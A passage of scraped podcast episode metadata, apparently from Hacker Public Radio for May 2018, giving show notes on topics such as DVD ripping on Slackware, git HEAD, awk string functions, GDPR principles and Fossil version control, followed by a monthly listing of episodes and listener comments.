                                                            ","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"msys2, cygwin, windows, command-line, pacman, package manager","version":0,"downloads":0,"valid":1}, {"id":2548,"date":"2018-05-09","title":"Single Vs Multiple Characters","duration":1050,"summary":"Lostnbronx looks at why single or multiple main characters are better in stories.","notes":"

                                                            Lostnbronx goes over the narrative technique of using one main character to tell a story, as opposed to using multiple characters. What advantage, if any, does so-called "head-hopping" have, over focusing on a single character at a time? Why is it sometimes better to do the opposite? And how can these different construction elements impact the story as a whole?

                                                            \n","hostid":107,"series":105,"explicit":0,"license":"CC-BY-SA","tags":"storytelling,writing,characters,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2549,"date":"2018-05-10","title":"DVD ripping using old hardware","duration":314,"summary":"How I put an older machine and a little cash to repurpose it.","notes":"
                                                              \n
                                                            1. Had a tower with a bad motherboard.
                                                            2. \n
                                                            3. Wife found one at the Savers (Goodwill) for $8
                                                            4. \n
                                                            5. Board worked, but had no video
                                                            6. \n
                                                            7. Bought a 8mb video card for $10
                                                            8. \n
                                                            9. Power supply fan seized, $10,\n
                                                                \n
                                                              • Got a warning about danger of opening up a power supply.
                                                              • \n
                                                            10. \n
                                                            11. Distro should be on a USB key, and run headless\n
                                                                \n
                                                              • Easy way to back up the system
                                                              • \n
                                                            12. \n
                                                            13. Had Arch installed, no 32 bit support after end of 2017
                                                            14. \n
                                                            15. Installed Slackware, only working distribution for my hardware\n
                                                                \n
                                                              • Found it useful to have a script to chroot from the install media to the Slackware install.
                                                              • \n
                                                              • Added a boot delay to mkinitrc for usb, otherwise it would boot with a message about not finding /mnt in /etc/fstab
                                                              • \n
                                                            16. \n
                                                            17. Set up ssh with alternative port
                                                            18. \n
                                                            19. Installed mplayer and tmux, and ripit with sbopkg\n
                                                                \n
                                                              • Mplayer to rip streams for movies and shows
                                                              • \n
                                                              • Tmux is my favorite for resuming from a different PC or mobile
                                                              • \n
                                                            20. \n
                                                            21. Needed a way to rip any media regardless of encryption\n
                                                                \n
                                                              • Only need libdvdcss to read
                                                              • \n
                                                              • Includes Disney (Star Wars, Tron)
                                                              • \n
                                                            22. \n
                                                            23. CD ripping was a bonus\n
                                                                \n
                                                              • Ripit to rip CDs
                                                              • \n
                                                            24. \n
                                                            25. Scripts are on Github
                                                            26. \n
                                                            \n

                                                            https://github.com/ricemark20/CD-DVD-ripping-on-Slackware

                                                            \n
                                                              \n
                                                            1. Happy ripping!
                                                            2. \n
                                                            ","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ripping, movies, hardware, repurpose","version":0,"downloads":0,"valid":1}, {"id":2550,"date":"2018-05-11","title":"Howto get started playing RPGs","duration":1519,"summary":"Lostnbronx and Klaatu tag-team an intro to tabletop role-playing games [RPG]","notes":"

                                                            \nHave you ever wanted to start playing a tabletop RPG, but weren't sure where to start? In this one-hour episode, Lostnbronx and Klaatu introduce you to role-playing games, including what you need to have in order to get started, how to build a character, what a game session is like, and how to find other people to play with.\n

                                                            \n\n

                                                            \nSome resources mentioned in this episode:\n

                                                            \n\n
                                                              \n
                                                            • \n

                                                              The easy way in: Dungeons & Dragons 5th Edition Player's Handbook

                                                              \n
                                                            • \n
                                                            • \n

                                                              A collection of free RPG systems Brent P. Newhall's Musæum of Fantastic Wonders\n

                                                              \n
                                                            • \n\n
                                                            • \n

                                                              \nThe OpenD6 system is a free and open and very flexible game using only standard 6-sided die

                                                              \n
                                                            • \n\n
                                                            • \n is a good, albeit dated, introduction to RPG modules and gameplay in general. It won't exactly fit anything you play, but reading it through might clarify how a typical game works (and actually it's pretty easy to adapt into a modern game like Pathfinder or D&D, if you want.).\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nKlaatu has a weekly podcast called Chronicles & Commons, wherein he talks about fantasy [Creative Commons and public domain] folklore in the context of RPG gaming (which in turn is discussed in context of storytelling).

                                                              \n
                                                            • \n
                                                            \n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"rpg,intro,howto,tutorial,dnd,pathfinder,opend6,ogl","version":0,"downloads":0,"valid":1}, {"id":2551,"date":"2018-05-14","title":"Calibrating Calibration","duration":1519,"summary":"NYbill talks about calibration issues with the Siglent SDS1202X-E oscilloscope","notes":"

                                                            NYbill talks about the Siglent SDS1202X-E oscilloscope and the calibration pitfalls of the BA model over the newer BB model.

                                                            \n

                                                            Pics for the episode:

                                                            \n

                                                            https://media.gunmonkeynet.net/u/nybill/collection/siglent-sds1202x-e/

                                                            ","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"test gear, electronics, oscilloscope","version":0,"downloads":0,"valid":1}, {"id":2552,"date":"2018-05-15","title":"What is stow?","duration":721,"summary":"How does stow work, why would you want it and what are its limitations?","notes":"

                                                            stow was perfected in 2002 with stow 1.3.3. Then it was silent for 9 years, and in 2011 stow 2.1.0 came out. It received a few updates until stow 2.2.2 in 2015, but don't worry. It's still relevant, and it won't eat your homework. I don't even know what these 2.x versions are about. You still just stow mything, stow -R mything and stow -D mything like you always did.

                                                            \n

                                                            If stow is too limiting to you, listen to hpr2198 :: How awesome is Guix and why will it take over the world about its big brother, which has all of the advantages of stow except radical simplicity, and none of the drawbacks.

                                                            \n

                                                            For a shorter and more practical episode on Guix, see hpr2308 :: Everyday package operations in Guix.

                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"stow, package manager","version":0,"downloads":0,"valid":1}, {"id":2553,"date":"2018-05-16","title":"Get ahead with git HEAD","duration":2802,"summary":"Klaatu helps you understand git HEAD","notes":"

                                                            This episode is light on actual commands, and mostly a narrative analysis of what git HEAD is and why it matters to you.

                                                            \n

                                                            Some commands you can try:

                                                            \n
                                                            $ cat ~/path/to/git/repo/.git/HEAD
                                                            \n

                                                            and

                                                            \n
                                                            $ ls ~/path/to/git/repo/.git/refs\n$ cat ~/path/to/git/repo/.git/refs/master
                                                            \n","hostid":78,"series":104,"explicit":0,"license":"CC-BY-SA","tags":"git, HEAD, branch, refs","version":0,"downloads":0,"valid":1}, {"id":2554,"date":"2018-05-17","title":"Gnu Awk - Part 11","duration":1686,"summary":"In part 11 of the series, we string and number built-in functions","notes":"

                                                            Awk Part 11

                                                            \n\n

                                                            Gnu Awk Documentation: https://www.gnu.org/software/gawk/manual/gawk.html#String-Functions

                                                            \n\n

                                                            Numerical functions

                                                            \n\n
                                                              \n
                                                            • atan2: arctangent of y / x in randians
                                                            • \n
                                                            • cos: cosine of x in radians
                                                            • \n
                                                            • exp: ex
                                                            • \n
                                                            • int: floor float to int
                                                            • \n
                                                            • log: natrual log
                                                            • \n
                                                            • randn: (pseudo) random number between 0 and 1
                                                            • \n
                                                            • sin: sine of x in radians
                                                            • \n
                                                            • sqrt: square root
                                                            • \n
                                                            • srand: (pseudo) random between 0 and 1, manually setting the seed
                                                            • \n
                                                            \n\n\n

                                                            String functions

                                                            \n\n
                                                              \n
                                                            • asort: array sort. Returns array with the values sorted
                                                            • \n
                                                            • asori: array sort. Returns array with the keys (index) sorted
                                                            • \n
                                                            • gensub: Search the target string target for matches of the regular expression regexp. Returns string with substituted text.
                                                            • \n
                                                            • gsub: Search target for all of the longest, leftmost, nonoverlapping matching substrings it can find and replace them with replacement. Returns string with substituted text.
                                                            • \n
                                                            • sub: Search target, which is treated as a string, for the leftmost, longest substring matched by the regular expression regexp. Returns string with substituted text.
                                                            • \n
                                                            • index: Search the string in for the first occurrence of the string find. Returns the position where that occurence begins
                                                            • \n
                                                            • length: returns length of string
                                                            • \n
                                                            • match: Search string for the longest, leftmost substring matched by the regular expression regexp and return the character position (index) at which that substring begins.
                                                            • \n
                                                            • split: Divide string into pieces delimted by field separator. Returns an array of strings
                                                            • \n
                                                            • sprintf: Allows you to store the a string in the that would have been the output of printf into a variable
                                                            • \n
                                                            • strtonum: Turn octal representation to number
                                                            • \n
                                                            • substr: Substring starting at position x for length of y. Returns string
                                                            • \n
                                                            • tolower: Lower-case the string
                                                            • \n
                                                            • toupper: Upper-case the string
                                                            • \n
                                                            \n\n\n

                                                            References

                                                            \n\n","hostid":300,"series":94,"explicit":0,"license":"CC-BY-SA","tags":"bash, linux, awk","version":0,"downloads":0,"valid":1}, {"id":2555,"date":"2018-05-18","title":"2017-2018 New Years Eve show part 6","duration":11722,"summary":"Part six of the sixth annual HPR New Year Show.","notes":"

                                                            HPR NYE 2017 - 6

                                                            \n\n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR new year show 2017","version":0,"downloads":0,"valid":1}, {"id":2556,"date":"2018-05-21","title":"Building trust","duration":2549,"summary":"Quasi-philosophical musing about how trust is built both online and in real life","notes":"

                                                            \nWhat is trust? How do you get it? How can you exploit it? How can you keep from being exploited?\n

                                                            \n","hostid":78,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"trust,social engineering,gpg,pgp,community","version":0,"downloads":0,"valid":1}, {"id":2557,"date":"2018-05-22","title":"Styx -- The Purely Functional Static Site Generator","duration":832,"summary":"For the Fractalide web site, we are using Styx as a site generator. Here's a bit of how and why.","notes":"

                                                            I switched phones, and complained about the microphone. It probably made a greater difference that I was recording in 16 kHz Vorbis, because I was on a fresh install of Audio Recorder. Always double-check your settings, and apologies for the quality.

                                                            \n\n
                                                            \n

                                                            I am currently in the process of converting our website from Hugo to Styx.

                                                            \n\n

                                                            Styx is s static site generator written entirely in the Nix language. It is able to figure out exactly what pages need to be rebuilt depending on what you changed in your page source and data sources, and all intermediate results are stored in the Nix store.

                                                            \n\n

                                                            The parsing of AsciiDoc and (multi)Markdown is done by external tools, but the templating and layouts is all Nix.

                                                            \n\n

                                                            I thought I may have dreamed the bit about carnix or buildRustPackage parsing TOML within Nix, because I couldn’t find any evidence of them ever having done that. But then I discovered it was in nixpkgs-mozilla I had seen it! That’s Mozilla’s overlay for nixpkgs, which makes Rust Nightly always available in Nix, so it’s kind of Nix’s rustup equivalent. So yeah, I guess I had dreamed who did it, but not that somebody did it. :-)

                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"nix, styx, static site generator","version":0,"downloads":0,"valid":1}, {"id":2558,"date":"2018-05-23","title":"Battling with English - part 1","duration":678,"summary":"Misunderstandings about English grammar, spelling, punctuation, etc.","notes":"

                                                            Battling with English - part 1

                                                            \n

                                                            Introduction

                                                            \n

                                                            This is the first episode of a series about the English language. In it I want to look at some of the problems people (including myself) have with it. I plan to do several episodes and I want to keep them short.

                                                            \n

                                                            The English language is old and has changed – evolved – in many ways over the years. It has come from a multitude of sources, and it's difficult to say what is correct in an absolute way.

                                                            \n

                                                            For example, when I was at school we were taught that "nice" should not be used in written material. At that time it was becoming common to see phrases like "I had a nice time" meaning pleasant (in a bland sort of way). In my "Concise Oxford Dictionary" from 1976 the 6th definition, "agreeable" is marked "colloquialism", whereas today this is a common usage.

                                                            \n

                                                            However, it's easy to use the wrong word in the wrong context. You might choose one that sounds similar for example. You might also have problems with the spelling of a chosen word. Spelling in English is not always logical. You might also find yourself confused about the use of punctuation – the correct use of apostrophes can be challenging for example.

                                                            \n

                                                            In this series I want to examine some of the problem areas and try to give you the means of remembering the right way.

                                                            \n

                                                            Note: I'm not an authority on this stuff, but I have tried to teach myself not to make these mistakes over the years. I just wanted to share what I have learnt1 with some links to higher authorities.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n
                                                            \n
                                                            \n
                                                              \n
                                                            1. One thing I have learnt is that "learned" and "learnt" are both correct and mean the same. However, "learnt" is more common in the UK, whereas "learned" is used both in the UK and the USA.

                                                            2. \n
                                                            \n
                                                            \n","hostid":225,"series":120,"explicit":1,"license":"CC-BY-SA","tags":"grammar,spelling,punctuation,word misuse,English","version":0,"downloads":0,"valid":1}, {"id":2559,"date":"2018-05-24","title":"My Favourite Browser extension","duration":1117,"summary":"In this episode I cover my favourite browser Add-on","notes":"

                                                            My contribution to List of requested shows “Your favourite browser extensions”

                                                            \n\n

                                                            On Android, I'm lazy and just seem to have fallen into using the chrome browser. The Add-on I'm going to talk about unfortunately isn't available for the Android operating system.

                                                            \n

                                                            On the Linux desktop, I use Firefox

                                                            \n

                                                            In the past, I've dabbled with various browser add-ons but until very recently I've been using no browser add-ons on the desktop.

                                                            \n

                                                            A browser add-on I did use and did miss was Tab groups

                                                            \n

                                                            Tab Groups was originally a feature built into Mozilla Firefox

                                                            \n

                                                            The feature was removed but maintained as an add-on until it was broken by changes in Firefox 57

                                                            \n\n

                                                            A colleague at work brought the One-Tab add-on to my attention https://www.one-tab.com/

                                                            \n

                                                            It's available for both the Chrome browser and Firefox

                                                            \n

                                                            No sign-up or registration required

                                                            \n

                                                            With Tab-group I found myself spending a lot of time arranging groups getting the size right naming them etc.

                                                            \n

                                                            One tab philosophy is a bit different and perhaps maybe not so intuitive, though I think now after some use I prefer it as it gets out of the way and can be used with the minimal of fuss.

                                                            \n

                                                            I highly recommend one-tab if you regularly find yourself dealing with a lot of open tabs in your browser.

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Internet, Research, Browser, Firefox, Plug-in, Add-On","version":0,"downloads":0,"valid":1}, {"id":2560,"date":"2018-05-25","title":"General Data Protection Regulation (GDPR)","duration":1117,"summary":"The GDPR becomes enforceable today and Ken gives an overview on what it is and how it effects you.","notes":"

                                                            Been getting a lot of updated policy changes lately ? Here's why !

                                                            \n\n

                                                            From Wikipedia

                                                            \n\nThe General Data Protection Regulation (GDPR) (EU) 2016/679 is a regulation in EU law on data protection and privacy for all individuals within the European Union. It also addresses the export of personal data outside the EU. The GDPR aims primarily to give control to citizens and residents over their personal data and to simplify the regulatory environment for international business by unifying the regulation within the EU. It was adopted on 14 April 2016, and after a two-year transition period, becomes enforceable on 25 May 2018.\n\n\n

                                                            The following information is taken from the Guide to the General Data Protection\nRegulation (GDPR) from the Information Commissioners Office in the UK, which is released under a Open Government Licence v3.0.

                                                            \n\n

                                                            Principles of the GDPR

                                                            \n

                                                            Under the GDPR, the data protection principles set out the main responsibilities for organisations.
                                                            \nArticle 5 of the GDPR requires that personal data shall be:

                                                            \n
                                                            \n
                                                            a) processed lawfully, fairly and in a transparent manner in relation to individuals;
                                                            \n
                                                            b) collected for specified, explicit and legitimate purposes and not further processed in a manner that is incompatible with those purposes; further processing for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes shall not be considered to be incompatible with the initial purposes;
                                                            \n
                                                            c) adequate, relevant and limited to what is necessary in relation to the purposes for which they are processed;
                                                            \n
                                                            d) accurate and, where necessary, kept up to date; every reasonable step must be taken to ensure that personal data that are inaccurate, having regard to the purposes for which they are processed, are erased or rectified without delay;
                                                            \n
                                                            e) kept in a form which permits identification of data subjects for no longer than is necessary for the purposes for which the personal data are processed; personal data may be stored for longer periods insofar as the personal data will be processed solely for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes subject to implementation of the appropriate technical and organisational measures required by the GDPR in order to safeguard the rights and freedoms of individuals; and
                                                            \n
                                                            f) processed in a manner that ensures appropriate security of the personal data, including protection against unauthorised or unlawful processing and against accidental loss, destruction or damage, using appropriate technical or organisational measures.
                                                            \n
                                                            \nArticle 5(2) requires that:\n
                                                            \n
                                                            the controller shall be responsible for, and be able to demonstrate, compliance with the principles.
                                                            \n
                                                            \n\n

                                                            What information does the GDPR apply to?

                                                            \n\n

                                                            Personal data

                                                            \n

                                                            The GDPR applies to ‘personal data’ meaning any information relating to an identifiable person who can be directly or indirectly identified in particular by reference to an identifier.

                                                            \n\n

                                                            Sensitive personal data

                                                            \n

                                                            Special category data is personal data which the GDPR says is more sensitive, and so needs more protection.

                                                            \n
                                                              \n
                                                            • race
                                                            • \n
                                                            • ethnic origin
                                                            • \n
                                                            • politics
                                                            • \n
                                                            • religion
                                                            • \n
                                                            • trade union membership
                                                            • \n
                                                            • genetics
                                                            • \n
                                                            • biometrics (where used for ID purposes)
                                                            • \n
                                                            • health
                                                            • \n
                                                            • sex life
                                                            • \n
                                                            • sexual orientation
                                                            • \n
                                                            \n\n

                                                            Criminal offence data

                                                            \n

                                                            The Data Protection Bill deals with this type of data in a similar way to special category data, and sets out specific conditions providing lawful authority for processing it.

                                                            \n\n

                                                            What are the lawful bases for processing?

                                                            \n

                                                            You can only process personal information if you have:

                                                            \n
                                                              \n
                                                            1. Consent: the individual has given clear consent for you to process their personal data for a specific purpose.\n
                                                            2. Contract: the processing is necessary for a contract you have with the individual, or because they have asked you to take specific steps before entering into a contract.\n
                                                            3. Legal obligation: the processing is necessary for you to comply with the law (not including contractual obligations).\n
                                                            4. Vital interests: the processing is necessary to protect someone’s life.\n
                                                            5. Public task: the processing is necessary for you to perform a task in the public interest or for your official functions, and the task or function has a clear basis in law.\n
                                                            6. Legitimate interests: the processing is necessary for your legitimate interests or the legitimate interests of a third party unless there is a good reason to protect the individual’s personal data which overrides those legitimate interests. (This cannot apply if you are a public authority processing data to perform your official tasks.)\n
                                                            \n\n

                                                            Individual rights

                                                            \n
                                                              \n
                                                            1. The right of access
                                                            2. \n
                                                            3. The right to rectification
                                                            4. \n
                                                            5. The right to erasure
                                                            6. \n
                                                            7. The right to restrict processing
                                                            8. \n
                                                            9. The right to data portability
                                                            10. \n
                                                            11. The right to object
                                                            12. \n
                                                            13. Rights in relation to automated decision making and profiling.
                                                            14. \n
                                                            \n\n

                                                            Other Considerations

                                                            \n
                                                              \n
                                                            • Accountability and governance
                                                            • \n
                                                            • Contracts
                                                            • \n
                                                            • Documentation
                                                            • \n
                                                            • Data protection by design and default
                                                            • \n
                                                            • Data protection officers
                                                            • \n
                                                            • Codes of conduct and certification
                                                            • \n
                                                            • Guide to the data protection fee
                                                            • \n
                                                            • Security
                                                            • \n
                                                            • International transfers
                                                            • \n
                                                            • Exemptions
                                                            • \n
                                                            • Children
                                                            • \n
                                                            \n\n

                                                            Links

                                                            \n\n","hostid":30,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"GDPR,General Data Protection Regulation","version":0,"downloads":0,"valid":1}, {"id":2561,"date":"2018-05-28","title":"A reluctant dog walk","duration":1472,"summary":"A reluctant dog walk after some hand stripping","notes":"

                                                            An explanation of hand stripping https://www.petguide.com/petcare/dog/grooming-basics-all-about-hand-stripping/

                                                            \n

                                                            I chopped the recording down a bit as it was originally over an hour long I thought it would just be too monotonous.

                                                            \n

                                                            Listening back to the recording I can't believe it took me so long to get organised and get out the door.

                                                            \n

                                                            With all the rhythmic clinking sounds it sounds more like I'm riding a horse than walking the dog, I think the supplied clip-on Dictaphone microphone is a bit on the sensitive side.

                                                            \n

                                                            As a responsible dog walker, one of the most important pieces of equipment I take with me on every dog walk is the “Toley Bone” mentioned around one minute point.

                                                            \n

                                                            Toley is a fine Scottish word, you can look it up if you are unfamiliar with it https://www.firstfoot.com/dictionary/t.html or alternatively just do a simple google search to be enlightened.

                                                            \n

                                                            An example can be found here. https://www.amazon.co.uk/Plastic-Holder-Dispenser-Carrying-Walking/dp/B01IW0YSM0/ref=sr_1_8?ie=UTF8&qid=1509280608&sr=8-8&keywords=dog+bag+bone

                                                            \n

                                                            Listen out for the crinkling sound around the halfway point where it is put to good use.

                                                            \n

                                                            The second most important piece of kit is a sweet, consumed around the 3 minute point.

                                                            \n

                                                            The main part of the walk was fairly uneventful and consisted of traffic noise, passing by the local bus terminus where the bus turns at the end of its route, a rather noisy motorbike and a brief encounter with a fellow dog walker on route.

                                                            \n

                                                            Finally ending with a treat and some light refreshment.

                                                            \n

                                                            Oh, and in case you're wondering yes the the scones mentioned near the end of the podcast made by Mrs X were wonderful.

                                                            \n

                                                            Oh and one final thing on listening back to the recording one more time I just realised that for some unknown reason just after the bus noise I started whistling very softly to myself, I don't remember doing that at all, I must have been doing it subconsciously. I could be wrong but it sounds to me like I'm whistling the tune “The animals march in two by two” I guess it was just the right tempo to help me round my one hour walk.

                                                            \n","hostid":201,"series":101,"explicit":1,"license":"CC-BY-SA","tags":"dog, walking","version":0,"downloads":0,"valid":1}, {"id":2562,"date":"2018-05-29","title":"I bought a laptop","duration":1292,"summary":"... in which clacke takes months (or years?) to buy a laptop, but comes out pretty pleased","notes":"

                                                            After months (or years?) of waffling and false starts I finally bought an ASUS X542U. The advertised specs say "up to", but I don’t have the "up to", I have the baseline 7th gen i3, 128GB SSD, 4 GB RAM.

                                                            \n

                                                            Here’s the rambling story of a laptop purchase and its various side quests.

                                                            \n

                                                            Some details that may or may not have made it in to the show (and the show has some that aren’t there) available on the Fediverse at https://pleroma.heldscal.la/notice/7204988 .

                                                            \n

                                                            Side quest to the side quest of making an episode about side quests:

                                                            \n

                                                            Why spend five minutes writing a simple Makefile when you can spend half an afternoon writing a simple default.nix instead?

                                                            ","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"laptop, linux, ubuntu, nix, cryptocurrency","version":0,"downloads":0,"valid":1}, {"id":2563,"date":"2018-05-30","title":"Action In Storytelling","duration":1065,"summary":"Lostnbronx looks at different uses of action in storytelling.","notes":"

                                                            Lostnbronx contrasts what he calls "static action" with "story action", and looks at the functions of these techniques for storytelling in various media.

                                                            \n

                                                            A car chase is action-filled, but so might be a quiet Victorian drawing room, where, at least on the surface of it, nothing is happening.

                                                            \n

                                                            What actually constitutes action? What purpose does it serve? And how much of it do you really need?

                                                            ","hostid":107,"series":105,"explicit":0,"license":"CC-0","tags":"storytelling,action","version":0,"downloads":0,"valid":1}, {"id":2564,"date":"2018-05-31","title":"Intro to Fossil","duration":1991,"summary":"Klaatu talks about the Fossil version control system","notes":"

                                                            Some shownotes for fossil

                                                            \n\n

                                                            \nCreate a new fossil repository:\n

                                                            \n\n
                                                              $ fossil new shownotes\n
                                                            \n\n

                                                            \n Add your work to the repository:\n

                                                            \n\n
                                                              $ fossil add shownotes.html\n
                                                            \n\n

                                                            \n Commit your work:\n

                                                            \n\n
                                                              $ fossil commit --comment \"added shownote HTML file\"\n
                                                            \n\n

                                                            \n As a fun exercise, destroy your work.\n

                                                            \n\n
                                                              $ echo \"klaatu said this was perfectly safe\" > shownotes.html\n  $ cat shownotes.html\n  klaatu said this was perfectly safe\n
                                                            \n\n

                                                            \n And now revert it back to the\n last known good version:\n

                                                            \n\n
                                                              $ fossil revert shownotes.html\n  REVERT shownotes.html\n  $ head -n1 shownotes.html\n  <p>Some shownotes for fossil<p>\n
                                                            \n\n

                                                            \n Did you accidentally revert? You can undo that.\n

                                                            \n\n
                                                              $ fossil undo shownotes.html\n
                                                            \n\n

                                                            \n And then revert again.\n

                                                            \n\n
                                                              $ fossil revert shownotes.html\n  REVERT shownotes.html\n  $ head -n1 shownotes.html\n  <p>Some shownotes for fossil<p>\n
                                                            \n\n

                                                            \nCheck your remote:\n

                                                            \n
                                                              $ fossil remote-url\n
                                                            \n\n

                                                            \nClose a fossil repo:\n

                                                            \n\n
                                                              $ fossil close\n
                                                            \n\n

                                                            \nSee the fancy browser-based UI of your repo:\n

                                                            \n
                                                              $ fossil ui\n
                                                            \n\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"fossil,sqlite,svn,git,scm","version":0,"downloads":0,"valid":1}, {"id":2565,"date":"2018-06-01","title":"2017-2018 New Years Eve show part 7","duration":10683,"summary":"Part seven of the sixth annual HPR New Year Show. This is the last one.","notes":"

                                                            HPR NYE 2017 - 7

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"HPR new year show 2017","version":0,"downloads":0,"valid":1}, {"id":2566,"date":"2018-06-04","title":"HPR Community News for May 2018","duration":3807,"summary":"HPR Volunteers talk about shows released and comments posted in May 2018","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2542Tue2018-05-01How I helped my dad run a static website using SparkleShareclacke
                                                            2543Wed2018-05-02Home Theater - Part 1 Hardwareoperat0r
                                                            2544Thu2018-05-03How I prepared episode 2493: YouTube Subscriptions - updateDave Morriss
                                                            2545Fri2018-05-04HPR 2017 New Years Eve show part 5Various Hosts
                                                            2546Mon2018-05-07HPR Community News for April 2018HPR Volunteers
                                                            2547Tue2018-05-08MSYS2clacke
                                                            2548Wed2018-05-09Single Vs Multiple Characterslostnbronx
                                                            2549Thu2018-05-10DVD ripping using old hardwareArcher72
                                                            2550Fri2018-05-11Howto get started playing RPGsklaatu
                                                            2551Mon2018-05-14Calibrating CalibrationNYbill
                                                            2552Tue2018-05-15What is stow?clacke
                                                            2553Wed2018-05-16Get ahead with git HEADklaatu
                                                            2554Thu2018-05-17Gnu Awk - Part 11Mr. Young
                                                            2555Fri2018-05-18HPR 2017 New Years Eve show part 6Various Hosts
                                                            2556Mon2018-05-21Building trustklaatu
                                                            2557Tue2018-05-22Styx -- The Purely Functional Static Site Generatorclacke
                                                            2558Wed2018-05-23Battling with English - part 1Dave Morriss
                                                            2559Thu2018-05-24My Favourite Browser extensionMrX
                                                            2560Fri2018-05-25General Data Protection Regulation (GDPR)Ken Fallon
                                                            2561Mon2018-05-28A reluctant dog walkMrX
                                                            2562Tue2018-05-29I bought a laptopclacke
                                                            2563Wed2018-05-30Action In Storytellinglostnbronx
                                                            2564Thu2018-05-31Intro to Fossilklaatu
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 18 comments in total.

                                                            \n

                                                            There are 7 comments on\n5 previous shows:

                                                            \n
                                                            • hpr1762\n(2015-05-05) \"HPR Audio Book Club 10\"\nby HPR_AudioBookClub.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\ndodddummy on 2018-05-12:\n\"Tickles me in places I'm not sure I'm comfortable with\"

                                                              \n
                                                            • hpr2381\n(2017-09-18) \"Benefits of a tabletop\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nBrian DeRocher on 2018-05-02:\n\"open source games\"

                                                              \n
                                                            • hpr2536\n(2018-04-23) \"Lostnbronx examines points-of-view and tenses in storytelling.\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nFweeb on 2018-05-02:\n\"2nd person\"
                                                              • \n
                                                              • \nComment 2:\nclacke on 2018-05-02:\n\"Chinese\"
                                                              • \n
                                                              • \nComment 3:\nlostnbronx on 2018-05-02:\n\"Fweeb, I think you're right\"

                                                              \n
                                                            • hpr2540\n(2018-04-27) \"28 - TLS 1.3\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nGavtres on 2018-04-30:\n\"TLS 1.3\"

                                                              \n
                                                            • hpr2541\n(2018-04-30) \"Microphone Wind Screen Demo\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nfolky on 2018-05-03:\n\"Very quit\"

                                                              \n
                                                            \n

                                                            There are 11 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr2546\n(2018-05-07) \"HPR Community News for April 2018\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2018-05-07:\n\"Re: butchering\"

                                                              \n
                                                            • hpr2547\n(2018-05-08) \"MSYS2\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2018-05-08:\n\"MSYS2 is What Cygwin Should Be\"
                                                              • Comment 2:\nGavtres on 2018-05-08:\n\"Git Bash\"

                                                              \n
                                                            • hpr2549\n(2018-05-10) \"DVD ripping using old hardware\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2550\n(2018-05-11) \"Howto get started playing RPGs\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nredrider06 on 2018-05-22:\n\"Howto get started playing RPGs\"

                                                              \n
                                                            • hpr2551\n(2018-05-14) \"Calibrating Calibration\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmcnalu on 2018-05-14:\n\"Oscillowant\"
                                                              • Comment 2:\nNYbill on 2018-05-14:\n\"A chimp by another name...\"

                                                              \n
                                                            • hpr2556\n(2018-05-21) \"Building trust\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2018-05-25:\n\"Profound\"

                                                              \n
                                                            • hpr2557\n(2018-05-22) \"Styx -- The Purely Functional Static Site Generator\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2018-04-05:\n\"Addendum: Styx was written by Eric Sagnes\"

                                                              \n
                                                            • hpr2560\n(2018-05-25) \"General Data Protection Regulation (GDPR)\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2018-05-24:\n\"The date\"
                                                              • Comment 2:\nNYbill on 2018-05-25:\n\"Nice TLDR.\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

